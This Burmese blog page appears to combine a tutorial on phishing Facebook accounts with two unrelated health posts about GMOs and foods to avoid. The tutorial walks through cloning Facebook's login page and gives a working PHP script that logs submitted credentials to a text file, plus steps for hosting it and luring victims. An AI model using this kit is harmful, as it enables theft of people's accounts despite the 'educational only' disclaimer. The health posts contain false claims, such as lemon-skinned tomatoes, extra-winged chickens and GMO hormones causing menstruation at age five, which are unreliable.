ေဖ့ဘုတ္ အေကာင့္ေပါင္းမ်ားစြာကို Phishing နည္းနဲ႕ ဘယ္လို Hack ၾကမလဲ

ေဖ့ဘုတ္ဆိုတာကေတာ့ အခုေနာက္ပိုင္း ျမန္မာျပည္မွာ ေရပန္းစားလာၿပီးေတာ့ အသံုးမ်ားလာတာျဖစ္ၾကပါတယ္။တကယ္လို႕ အေၾကာင္းတစ္စံုတစ္ရာေၾကာင့္ Hack ခ်င္သူေတြ အတြက္ တင္ေပးလိုက္ပါတယ္။ကၽြန္ေတာ္က Ethical Hacking Tutorials မွာ တက္ေရာက္ေနတာဆိုေတာ့ သူငယ္ခ်င္းမ်ားအားလံုးကို အသိေပးခ်င္တာျဖစ္ပါတယ္။ၿပီးေတာ့ ဒီလို Phishing ေတြကို ေရွာင္ရွားနိုင္ဖို႕နဲ႕ နားလည္နိုင္ဖို႕ တင္ေပးတာပါ။

သတိေပးခ်င္တာကေတာ့
ကၽြန္ေတာ္ ဒီနည္းလမ္းကို Educational only သင္ေပးတာျဖစ္ၿပီးေတာ့ အျခားမေကာင္းတဲ့ေနရာေတြမွာ အသံုးခ်တာမ်ိဳးမျပဳလုပ္ၾကပါနဲ႕။

 

အရင္ဆံုး Phishing နည္းနဲ႕ Facebook အေကာင့္ကို ဘယ္လိုဖမ္းတတ္ၾကသလဲ
(၁) သင့္ကို စိတ္၀င္စားေစမယ့္ ၀က္ဆိုဒ္တစ္ခုကို ဆြဲေခၚသြားမယ္
(၂) အဲဒီေရာက္ရင္ သင္ေဖ့ဘုတ္ဖြင့္ထားရင္ေတာင္ သင့္ေဖ့ဘုတ္အေကာင့္ကို Log in လုပ္ခိုင္းမယ္
(၃) သင္ log in လုပ္လိုက္တာနဲ႔ သင့္ အခ်က္အလက္ေတြအားလံုး(ပက့္၀ါ့၊ဖုန္းနံပါတ္၊လိပ္စာ၊Ad အေကာင့္မွအစ)အားလံုး ရရွိနိုင္ပါတယ္။

သတိေပးခ်င္တာကေတာ့ လံုး၀ မသၤကာရင္ ၀င္မၾကည့္ပါနဲ႕။အေကာင့္ ဖြင့္ထားရက္နဲ႕ ထပ္၀င္ခိုင္းရင္ မ၀င္ပါနဲ႔။Log in with Facebook ခလုတ္ေတြ႕ရင္ မႏွိပ္ပါနဲ႕။အခုေနာက္ပိုင္း ေလာ့အင္ ၀င္စရာမလိုဘဲနဲ႕ ခလုပ္နွိပ္တာနဲ႕ ရနိုင္တဲ့ နည္းေတြရွိပါတယ္။

 

ဒီလိုနည္းနဲ႕ ဘယ္လို Hack ၾကမလဲ
ပထမဆံုး ေဖ့ဘုတ္ရဲ႕ ေလာ့အင္ ၀င္တဲ့ေနရာကိုသြားပါ။
(ေလာ့အင္ မ၀င္ပါနဲ႕)

ၿပီးရင္ Right Click ႏွိပ္ၿပီးေတာ့ view page source ကိုႏွိပ္ပါ။စာလံုးေတြ အမ်ားႀကီးေပၚလာပါလိမ့္မယ္။Select all လုပ္ၿပီး Note pad ထဲမွာ Paste လုပ္ပါ။
(Note Pad ပါ။Word Pad မဟုတ္ပါ)

ၿပီးရင္ေတာ့ Note pad ထဲမွာ Ctrl+f ႏိွပ္ၿပီးေတာ့ ေဘာက္စ္ေပၚလာရင္ action လို႕ႏွိပ္ၿပီးရွာပါ။အဲဒီေနရာေလး အစိမ္းေရာင္ေလးလင္းေနပါလိမ့္မယ္။Action ေတြ႕ၿပီဆိုရင္ေတာ့ "https//www.facebook.com" ဆိုတာကို ဖ်က္လိုက္ပါ။ၿပီးရင္ အဲဒီ Note Pad ကို UTF-8 Format ေျပာင္းၿပီးေတာ့ ဖိုင္ အမ်ိဳးအစားကေတာ့ all file နာမည္ကိုေတာ့ index.html လို႕နာမည္ေပးၿပီး Save လိုက္ပါ။

 

ၿပီးရင္ Note Pad ျပန္ဖြင့္ပါ။ေအာက္မွာ ေရးထားတဲ့ စာေတြကို Copy လုပ္ၿပီး Paste ျပန္ခ်ပါ။

<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

ၿပီးရင္ ခုနကအတိုင္း လုပ္ၿပီး နာမည္ကိုေတာ့ login.php လို႕ အမည္ေပးၿပီး Save လိုက္ပါ။

 

Note Pad ျပန္ဖြင့္ပါ။ဘာမွမေ၇းပါနဲ႕။Save လုပ္ၿပီး နာမည္ကိုေတာ့ pswrds လို႕ေရးၿပီး အမ်ိဳးအစားကိုေတာ့ .txt ပံုစံနဲ႕ပဲ save ပါ။

ၿပီးရင္ Free Hosting Site ေတြကို သြားပါ။Host လုပ္ၿပီးေတာ့ ဒီ ဖိုင္သံုးခုကို Upload လုပ္လိုက္ပါ။ၿပီးရင္ေတာ့ Host မွာ တစ္ခုခုေရးပါ။

လူတစ္ေယာက္ကိုဖမ္းခ်င္ရင္ေတာ့ စိတ္၀င္စားဖို႕ေကာင္းတဲ့ စာသားေတြေရး ကိုယ့္ Phishing ဆုိဒ္ရဲ႕ လင့္ကိုေပးၿပီးေတာ့ ေဖ့ဘုတ္မွာပဲျဖစ္ျဖစ္ ပို႔စ္တင္ပါ။အဲဒီလူစိတ္၀င္စားၿပီးေတာ့ လိုက္လာရင္ ဖမ္းမိၿပီေပါ့။

သူ log in လုပ္လိုက္တာနဲ႕ သင့္ရဲ႕ pswrds မွာ လိႈ႕၀ွက္နံပါတ္ေတြ ေပၚလာပါလိမ့္မယ္။

 

မရွင္းတာရွိရင္ေမးပါ။တကယ္လို႕ မလုပ္တတ္ဘူးဆိုရင္လဲ အသင့္လုပ္ၿပီးသားေလးေတြ နမူနာျပပါမယ္။

ျပည္တြင္းက Phishing ဆိုဒ္တစ္ခုကိုလဲ နမူနာျပေပးလိုက္ပါတယ္။လံုး၀ log in မလုပ္ပါနဲ႕။
Knowledge sharing သက္သက္ပါ။သုတက အကိုေတြ၊အမေတြ ေလ့လာမွတ္သားနိုင္ေအာင္ တင္ေပးလိုက္တာပါ။မေကာင္းတဲ့ရည္ရြယ္ခ်က္နဲ႕ေတာ့ အသံုးမျပဳၾကပါနဲ႕လို႕ ေမတၱာ၇ပ္ခံပါရေစ

ေမာင္စိုင္း
(P.S တခ်ိဳ႕သူေတြ ေမာင္စိုင္း နာမည္ကို အသံုးျပဳၿပီးေတာ့ နိုင္ငံေရးဆန္ဆန္စာေတြ ေရးေနပါသည္။ေမာင္စိုင္း နိုင္ငံေရး ဆန္ဆန္စာေတြ မေရးပါ။နာမည္ အလြဲသံုးခ်ခံရျခင္းျဖစ္ပါသည္။)

 

GMO အေၾကာင္းနဲနဲေျပာမယ္ဗ်ာ

ဒီေခတ္မွာ ေခတ္စားလာတဲ့ GMO ေတြဆိုတာကို သိတဲ့သူေတြလဲ သိၾကပါလိမ့္မယ္။မသိတဲ့သူေတြလဲရွိပါလိမ့္မယ္။ကၽြန္ေတာ္ ေလ့လာထားသေလာက္နဲနဲတင္ျပပါ့မယ္။မျပည့္စံုတာရွိရင္ ခြင့္လႊတ္ၾကပါ။ဆက္ၿပီးေလ့လာခ်င္တယ္ဆိုရင္လဲ လင့္ေလးေတြေပးပါ့မယ္။

GMO ဆုိတာ ဘာလဲ?
       GMO ဆိုတာ Genetically Modified Organisms(မ်ိဳးရိုးဗီဇအရ ျပဳျပင္ေျပာင္းလဲထားတဲ့ သက္ရွိေတြ)လို႕ေခၚဆိုနိုင္ပါတယ္။နည္းပညာေတြ ထြန္းကားလာတာနဲ႕အမွ် ရာသီေပၚသီးႏွံေတြကို ရာသီမဟုတ္လဲ စားေသာက္နိုင္ဖို႕ ပိုးမႊားဒဏ္ခံနိုင္ဖို႕ အရသာေတြ ထူးကဲလာဖို႕နဲ႕ အေရအတြက္ေတြ၊အရြယ္အစားေတြတိုးပြားလာဖို႕ အတြက္ကို နည္းပညာေတြ အသံုးျပဳၿပီးေတာ့ ေဆာင္ရြက္လာၾကတာျဖစ္ပါတယ္။

GMO ဘယ္ကစ?
       သိပၸံပညာရွင္ေတြဟာ မတူညီတဲ့ DNA ေတြကသက္ရွိေတြ အျခင္းျခင္း ကူူးေျပာင္းနိုင္တယ္ဆိုတာကို ၁၉၄၆ ခုႏွစ္မွာ ေတြ႕ရွိခဲ့ပါတယ္။၁၉၈၃ ခုႏွစ္မွာေတာ့ ပထမဆံုး မ်ိဳးဗီဇေျပာင္းလဲထားတဲ့ သီးႏွံကို စမ္းသပ္ေအာင္ျမင္ခဲ့ပါတယ္။အဲဒါကေတာ့ မိႈေရာဂါနဲ႕ ပိုးေရာဂါေတြကို ခုခံနိုင္စြမ္းရွိတဲ့ ေဆးရြက္ႀကီးပင္တစ္မ်ိဳးပါ။၁၉၉၀ ျပည့္ႏွစ္ေစာပိုင္းေတြမွာ မ်ိဳးစပ္နည္းပညာတစ္ခုျဖစ္တဲ့ Recombinant Chymosin ကို အသံုးျပဳတဲ့ နည္းလမ္းကုိ ကမာၻတစ္၀ွမ္းက နိုင္ငံေတြမွာ လက္ခံၿပီး တရား၀င္ခြင့္ျပဳခဲ့ၾကပါတယ္။၁၉၉၅ ခုႏွစ္မွာေတာ့ ေျပာင္းဖူး၊၀ါဂြမ္းနဲ႕ ပဲပိစပ္ေတြကို အေမရိကန္နိုင္ငံမွာ GMO စတင္စိုက္ပ်ိဳးခဲ့ပါတယ္။အေမရိကန္နိုင္ငံဟာ GMO ရဲ႕ထိပ္သီးနိုင္ငံျဖစ္ၿပိးေတာ့ ကမာၻမွာ GMO အသုံုးျပဳဆံုးျဖစ္ပါတယ္။၂၀၁၃ ခုႏွစ္ စာရင္းေတြအရ ၈၅% ေသာေျပာင္းဖူးေတြ၊၉၁% ေသာ ပဲပိစပ္၊၈၈% ေသာ ၀ါဂြမ္းေတြအားလံုးဟာ GMO နဲ႕ထုတ္လုပ္ခဲ့ၾကပါတယ္။

GMO က အႏာၱရာယ္ရွိေစသလား?
       အၾကမ္းျဖင္း အေနနဲ႕ေျပာရရင္ေတာ့ အႏာၱရာယ္မရွိေစပါဘူး။ဒါေပမယ့္ အေသးစိတ္ေလ့လာခ်က္ေတြအရ ကင္ဆာအပါအ၀င္ အျခားေရာဂါေတြက GMO နဲ႕ မကင္းရာမကင္းေၾကာင္းျဖစ္ေနတယ္လို႕ ဆိုပါတယ္။

GMO သစ္သီး၀လံမ်ား
   

သစ္သီး၀လံေတြထဲမွာမွ နာမည္ႀကီးတာေတြကေတာ့ Lamato လို႕ေခၚတဲ့ သံပယိုသီးအခြံနဲ႕ အထဲက ခရမ္းခ်ဥ္သီးပါ။ရာသီဥတုဓါတ္ခံနိုင္သလို အရသာလဲျပည့္စံုပါတယ္။ဒီလို သီးႏွံေတြထဲမွာ GMO နည္းပညာနဲ႕ ေဟာ္မုန္းေတြနဲ႕ DNA ေတြေရာ ေႏွာထားၿပီးေတာ့ တကယ္လို႕ အဲဒီသီးႏွံက မ်ိဳးဆက္သံုးဆက္ မေက်ာ္ေသးရင္ေတာ့ အႏာၱရာယ္ရွိနိုင္ပါတယ္။မိန္းကေလးနဲ႕ေယာက္်ားေလးေတြရဲ႕ ေဟာ္မုန္းေျပာင္းလဲမႈကို ေႏွာင့္ယွက္ေစနုိင္တယ္လို႕ ေလ့လာေတြ႕ရွိထားပါတယ္။

GMO အသား၊ႏို႕ေတြ

အဓိကားအားျဖင့္ ၾကက္ေတြကို အသံုးျပဳတာမ်ားပါတယ္။အသားစားၾကက္ေတြကို GMO နဲ႕ထူးျခားၿပီး အသားမ်ားျပားေအာင္ ျပဳလုပ္လာၾကပါတယ္။ၾကက္ေတာင္ပံေတြနဲ႕ ၾကက္ေျခေထာက္ေတြေရာင္းခ်မႈမ်ားျပားလာတာနဲ႕အမွ် ဒီလို ေတာင္ပံေတြနဲ႕ ေျခေထာင္ေတြ အပိုပါတဲ့ၾကက္ေတြ ေမြးျမဴလာၾကပါတယ္။ၿပီးေတာ့ ၾကက္ေတြကို အေမႊးႏႈတ္ရသက္သာေအာင္ အေမႊးမပါတဲ့ ၾကက္ေတြကို စမ္းသပ္ခဲ့ၾကပါတယ္။

အေမႊးမပါတဲ့ၾကက္ေတြကို ျမင္ေတြ႕ရမွာျဖစ္ပါတယ္။

ၿပီးေတာ့ အသားတိုးၾကက္ေတြဆုိတာ ေန႕နဲ႕ခ်ိန္တြက္ၿပီး ေမြးျမဴၾကတာျဖစ္ပါတယ္။GMO နည္းနဲ႕ထုတ္လုပ္ထားတဲ႕ ေဆးေတြကို သတ္မွတ္ထားတဲ့အခ်ိန္အလိုက္ ထိုးၿပီးေတာ့ အခုေနာက္ပိုင္းေတာ့ အသားတိုးၾကက္စာေတြဆိုၿပီးေတာ့ အထဲမွာ မ်ိဳးစပ္ေဟာ္မုန္းေတြ ပါ၀င္ၿပီးသားျဖစ္ပါတယ္။အဲဒီၾကက္ေတြဟာ ရက္၄၀ အတြင္းမွာပဲ ႀကီးထြားလာၿပီးေတာ့ ေရာင္းဖို႕ အသင့္ျဖစ္ေနပါတယ္။အျခားနိုင္ငံမွာေတာ့ အစာေကၽြး၊ေဆးထိုးၿပီး ဘယ္ေလာက္ၾကာမွ ေရာင္းခ်သင့္တယ္ဆိုတာ သတ္မွတ္ခ်က္ရွိေပမယ့္လဲ အားနည္းတဲ့ ကၽြန္ေတာ္တို႕နိုင္ငံမွာ အေလးခ်ိန္တက္ေအာင္လို႕ အစာေတြစြတ္ေကၽြးတာမ်ိဳးေတြ၊ေဆးထိုးတာေတြကို ျမင္ေတြ႕ေနရၿပီးေတာ့ အဲဒီေဆးေတြကေန ဓါတုဓါတ္ၾကြင္းေတြ ဘယ္ေလာက္ေတာင္ က်န္ေနလဲဆိုတာ မျမင္သိနိုင္ပါဘူး

 ဒါကေတာ့ ယခင္နဲ႕ယခု ကြာျခားပံုေလးေတြကို ေဖာ္ျပထားတာျဖစ္ပါတယ္။

ဒီေဟာ္မုန္း ဓါတ္ၾကြင္းေတြေၾကာင့္ အမ်ိဳးသမီးေတြစားမိရင္ အရြယ္မတိုင္မီ အပ်ိဳေဖာ္၀င္လာတာမ်ိဳးေတြ(အသက္ ၅ ႏွစ္နဲ႕ ဓမၼတာေပၚတာမ်ိဳး)ေတြကို အမ်ားႀကီး ေတြ႕လာရပါတယ္။တကယ္လို႕ မေဟာ္မုန္းမ်ားတဲ့ အစားအစာေတြကို ေယက္်ားေလးေတြစားမိရင္ ေဟာ္မုန္းေျပာင္းလဲျခင္းကို အမ်ားဆံုးခံစားရၿပီးေတာ့ စိတ္ေပ်ာ့ညံ့လာတာမ်ိဳး၊တစ္ခ်ိဳ႕ဆိုရင္ ED ျဖစ္တဲ့အထိပါ ခံစားရနိုင္ပါတယ္။

ဒါကေတာ့ နိုင္းယွဥ္မႈေလးေနာက္တစ္ခုပါ။

အသားတိုး၀က္ေတြကိုလဲ အသားတိုးေဆးနဲ႕ အစာေတြေကၽြးၿပီး ေမြးျမဴတာေၾကာင့္ အစာအိမ္ေသြးယိုမႈေတြျဖစ္ပါတယ္။ဥပမာ ၆ လၾကာရင္ ေပၚရမယ့္ ၀က္ကို ၆ လမွာမေပၚေသးဘဲ ေစာင့္ေနရင္ အဲဒီ၀က္ဟာ ၆ လေက်ာ္တာနဲ႕ သူ႕အလိုလိုေသဆံုးသြားတာကိုေတြ႕ရတဲ့တယ္လို႕ Institute Of Health & Environmental Research in Adelaide မွာ ေဖာ္ျပထားပါတယ္။အဲဒီ သုေတသနကို ဦးေဆာင္ခဲ့တဲ့ ပေရာ္ဖက္ဆာ Judy Carmen ကလဲ ဒီ GMO ၀က္စာေတြေၾကာင့္ ၀က္ေတြရဲ႕ က်န္းမာေရးကို ဆိုးဆိုးရြားရြား ထိခိုက္ေစနုိင္တယ္လို႕ ေဖာ္ျပခဲ့ပါတယ္။အေသးစိတ္ကုိဒီမွာၾကည့္ပါ

အေမရိကန္ သိပၸံပညာရွင္ေတြနဲ႕ ၾသစေတးလ် သိပၸံပညာရွင္ေတြ ပူးေပါင္းလုပ္ေဆာင္ခဲ့တဲ့ သုေတသနအရလဲ ဒီလိုညြန္ျပေနၿပီးေတာ့ ၀က္ေတြရဲ႕ အစာအိမ္နဲ႕အူလမ္းေၾကာင္းဆိုင္ရာေတြကို ထိခိုက္ေစတယ္လို႕ ေျပာပါတာ္။အေသးစိတ္ကို ဒီမွာၾကည့္ပါ

ၿပီးေတာ့ ဒီGMO ေတြဟာ လူေတြကို ထိလိုက္ေစတယ္ဆိုတာ အမ်ားႀကီးရွိပါေသးတယ္။အေသးစိတ္ေလ့လာခ်င္ရင္ေတာ့ ဒီမွာေလ့လာပါ

ေနာက္ၿပီး လူေတြအေနနဲ႕ ဘယ္လို ေရာဂါေတြ ျဖစ္နိုင္ေခ်မ်ားသလဲဆိုတာ ဒီမွာေလ့လာပါ

အဓိကအားျဖင့္ေတာ့ 

ေသဆံုးမႈေတြ

အစားအစာဓါတ္မတည့္မႈေတြ

ကင္ဆာနဲ႕ မ်ိဳးပြားျခင္းဆိုင္ရာေျပာင္းလဲမႈေတြ

ဗိုင္းရပ္နဲ႕ ဘက္တီးရီးယား ကူးစက္မႈေတြ

ကေလးေမြးဖြားရာတြင္ ပံုမမွန္ျခင္းနဲ႕ သက္တမ္းတိုမႈေတြ

အျခားေရာဂါေတြ မ်ားစြာရဲ႕ ျဖစ္ေပၚလာပံုနဲ႕ ပက္သက္မႈေတြကို အေပၚမွာေပးထားတဲ့ လင့္ေတြကေန ၀င္ေလ့လာနိုင္ပါတယ္။

ေနာက္အလ်ဥ္းသင့္ရင္ေဖာ္ျပေပးပါ့မယ္

ေမာင္စိုင္း

လံုး၀မစားသင့္တဲ့ အစားအစာ ၇ မ်ိဳး

ျပဳျပင္ထားတဲ့ အသားမ်ား

ျပဳျပင္ထားတဲ့ အသားျပားေတြ အမဲသားျပားေတြ၊၀က္အူေခ်ာင္းေတြ၊ငါး၊ပုဇြႏ္ေတြ နဲ႕ အျခား အသားအတုေတြဟာ ၾကာၾကာအထားခံေအာင္လို႕ ဓါတုေဆးေတြနဲ႕ ၾကည့္လိုက္ရင္လတ္ဆတ္ေနတယ္လို႕ထင္ရေအာင္ ဆိုးေဆးတစ္ခ်ိဳ႕နဲ႕ ဟိုက္ဒရုိဂ်င္ျဖည့္ထားတာမ်ိဳးေတြပါ၀င္ပါတယ္။ဆိုဒီယမ္နိုက္ထရိုတ္နဲ႕နိုက္ထရပ္ေတြေၾကာင့္ အူမႀကီးနဲ႕အူနဲ႕သက္ဆိုင္တဲ့အပိုင္းေတြမွာ ကင္ဆာျဖစ္ေစနိုင္ၿပီးေတာ့ အသားအတြက္ ေမြးျမဴတဲ့ ႏြားေတြနဲ႕၀က္ေတြဟာ ပိုမိုႀကီးထြားေအာင္ ရိုးရိုးျမက္မစားပဲ ဓါတုအစာေတြစားေသာက္ၾကပါတယ္။အဲဒီလိုစားေသာက္တဲ့အတြက္ ဓါတုဓါတ္ၾကြင္းေတြ အသားထဲမွာနဂိုကတည္းက က်န္ေနတာျဖစ္ပါတယ္။

မိုက္ကရိုေ၀့ဗ္နဲ႕ေဖာက္ထားတဲ့ ေျပာင္းဖူးေပါက္ေပါက္

ေပါင္းဖူးေပါက္ေပါက္ေဖာက္တဲ့စက္ေတြဟာ မ်ားေသာအားျဖင့္ မိုက္ကရိုေ၀့ဗ္နဲ႕ ျပဳလုပ္ထားတာျဖစ္ပါတယ္။မိုက္ကရိုေ၀့ဗ္ဓါတ္ေရာင္ျခည္သင့္ေနတဲ့ ေျပာင္းဖူးေပါက္ေပါက္ေတြဟာ ကေလးေတြအတြက္ မ်ားမ်ားစားေသာက္ရင္ အသည္းနဲ႕ပန္ကရိယကင္ဆာေတြ ျဖစ္ေပၚေစနိုင္ပါတယ္။အေမရိကန္သဘာ၀ပတ္၀န္းက်င္ႏွင့္ေလ့လာေရးအဖြဲ႕ကလဲ (PFOA)လို႕ေခၚတဲ့ Perfluorooctanoic Acidတစ္မ်ိဳးဟာ ေျပာင္းဖူးေပါက္ေပါက္ေတြရဲ႕ ထည့္တဲ့အိတ္ေတြမွာပါ၀င္ၿပီး မိုက္ကရိုေ၀့ဗ္နဲ႕ေတြ႕တဲ့အခါ ကာစီနိုဂ်င္ေတြ အျဖစ္ေျပာင္းလဲသြားၿပီးေတာ့ ကင္ဆာျဖစ္ေစနိုင္တဲ့ အရာေတြ ပါ၀င္ေနပါတယ္။

ဆုိဒါပါ၀င္တဲ့ အေအး၊အခ်ိဳရည္ဗူးမ်ား

အခ်ိဳရည္ေတြက ကင္ဆာနဲ႕အထူးဆက္ႏြယ္ေနတယ္ဆိုတာ ေတာ္ေတာ္မ်ားမ်ားသိၾကပါလိမ့္မယ္။အဓိကအားျဖင့္ေတာ့ သၾကားအျပင္းစားေတြ(သၾကားလို႕ဆိုေပမယ့္ သၾကားအစားထိုးပစၥည္းေတြ ဥပမာ-Aspertame တို႕လိုပစၥည္းေတြ)နဲ႕ အေရာင္အတု၊ဆိုးေဆးေတြေၾကာင့္ တစ္နည္းနည္းနဲ႕ေတာ့ ထိမွာျဖစ္ပါတယ္။ၿပီးေတာ့ ဒီအခ်ိဳရည္ေတြမွာ ပါ၀င္ေနတဲ့ အက္ဆစ္တခ်ိဳ႕က ကင္ဆာဆဲလ္ေတြကို ျပန္႕ပြားဖို႕အားေပးၿပီးပါတယ္။ကုမၼဏီေတြကေတာ့ ဒီပစၥည္းေတြဟာ အႏာၱရာယ္ကင္းတယ္ဆိုေပမယ့္ သူတို႕က တစ္ဗူးႏႈန္းနဲ႕တြက္ခ်က္ထားတာျဖစ္တဲ့အတြက္ မ်ားမ်ားမေသာက္သံုးမိဖို႕ အေရးႀကီးပါတယ္။

Genetically Modified Organisms(GMO)ျပဳလုပ္ထားေသာအစားအစာမ်ား

အခုေခတ္အစားအစာေတြေတာ္ေတာ္မ်ားမ်ားမွာ အသံုးျပဳေနတဲ့ဒီနည္းပညာဟာ ထူးဆန္းတဲ့သီးႏွံေတြ၊အလြန္ႀကီးမားတဲ့ သီးႏွံေတြ ရာသီမေရြးစားသံုးနိုင္ေအာင္ျပဳလုပ္ခဲ့ၾကပါတယ္။အသားငါးေတြကိုလဲ ဒီနည္းပညာသံုးၿပီး အသံုးျပဳၾကပါတယ္။တကယ္ေတာ့ မ်ိဳးရိုးဗီဇေျပာင္းလဲေအာင္ ျပဳျပင္ထားတာေတြျဖစ္ၿပီးေတာ့ ဓါတုဓါတ္ၾကြင္းေတြက ကင္ဆာက်ိတ္ေတြကို ႀကီးထြားေစတယ္လို႕ ၾသစေတးလ်သုေတသီေတြက ဆိုပါတယ္။စားသံုးရန္မသင့္လို႕ မေျပာေပမယ့္ အနဲဆံုးမ်ိဳးစပ္ၿပီး မ်ိဳးဆက္သံုးဆက္ၾကာမွ စားေသာက္သင့္ပါတယ္။

ျပန္လည္သန္႕စင္ထားတဲ့ ဂ်ံဳမႈန္႕နဲ႕သၾကားမ်ား

ျပန္လည္သန္႕စင္ထားတဲ့ သၾကားေတြ၊ျဖဴဆြတ္ေနေအာင္ျပဳလုပ္ထားတဲ့ ဂ်ံဳမႈန္႕ေတြဟာ အထူးသျဖင့္ကေတာ့ ကာဗိုဟိုက္ဒရိုတ္အရမ္းမ်ားၿပီးေတာ့ အမ်ိဳးသမီးေတြအတြက္ ရင္သားကင္ဆာလိုေရာဂါေတြျဖစ္ေစတယ္လို႕ ယူေကကင္ဆာေဖာင္ေဒးရွင္းရဲ႕ ေလ့လာသူေတြက ေျပာပါတယ္။သၾကားပါ၀င္မႈမ်ားတဲ့ အစားအစာေတြနဲ႕ ျပဳျပင္ထားတဲ့အစားအစာေတြဟာ ေသြးတြင္းရွိသၾကားပမာဏကို တက္ေစၿပီးေတာ့ ေသြးခ်ိဳ၊ဆီးခ်ိဳလို ေရာဂါေတြ ျဖစ္ပြားေစနုိင္ပါတယ္။ဒါေၾကာင့္ ဆီးခ်ိဳရွိသူေတြ ဂ်ံဳၾကမ္းဆန္ၾကမ္းကို စားေသာက္ေနရတာျဖစ္ပါတယ္။

ဟိုက္ဒရိုဂ်င္ျဖည့္သြင္းသန္႕စင္ထားေသာဆီမ်ား

ဆီကို သန္႕စင္ၿပီး ပိုးမႊားကင္းစင္ေအာင္လို႕ ဟိုက္ဒရိုဂ်င္ျဖည့္သြင္းၿပီး ျပဳလုပ္ၾကပါတယ္။ဒီဆီေတြကို အထူးျပဳလုပ္ထားတဲ့ အစားအစာေတြ အဆင္သင့္အစားအစာေတြမွာ ထည့္ၾကၿပီးေတာ့ ဒီဆီေတြက ခႏၶာကိုယ္ဆဲလ္ေတြရဲ႕ ဖြဲ႕စည္းပံုနဲ႕လိုက္ေလ်ာညီေထြေဆာင္ရြက္မႈေတြ၊ရုန္းျပန္အားေတြကို ေလ်ာ့က်ေစပါတယ္။ၿပီးေတာ့ ကင္ဆာျဖစ္ေစဖို႕ ဦးတည္ေနပါတယ္။ဒါေၾကာင့္ တစ္ခ်ိ္ဳ႕စားေသာက္ကုန္ေတြက ေဘးအႏၱာရာယ္ကင္းေအာင္ စားအုန္းဆီနဲ႕ အျခားဆီေတြကို အသံုးျပဳၾကၿပီး
ဒီဆီနဲ႕မထုတ္လုပ္ေတာ့တာျဖစ္ပါတယ္။

ပိုးသတ္ေဆးနဲ႕အျခားအထြက္တိုးေဆးေတြ အသံုးျပဳထားတဲ့ အသီးေတြ

အသီးအနွံေတြ စားသံုးရင္ ကိုယ္ခႏၶာေရာဂါကင္းေစတယ္ဆိုၿပီး စားေသာက္ၾကေပမယ့္ အသီးအႏွံေတြဟာ ပိုးသတ္ေဆးတစ္ႀကီမ္သံုးထားတာနဲ႕ ပိုးသတ္ေဆးေတြကို စုပ္ယူထားတတ္ၾကပါတယ္။အဲဒီအတြက္ အဆိပ္အေတာက္ေတြ ျဖစ္ေစပါတယ္။ၾသစေတးလ်မွာ ေလ့လာခ်က္အရ ပန္းသီးစားၿပီး ပိုးသတ္ေဆးရဲ႕ အဆိပ္သင့္မႈေတြကို ခံစားရသူေတြဟာ ႏွစ္စဥ္ လူ ၄၀၀၀၀ ေက်ာ္ရွိပါတယ္တဲ့

ေက်းဇူးတင္ပါသည္။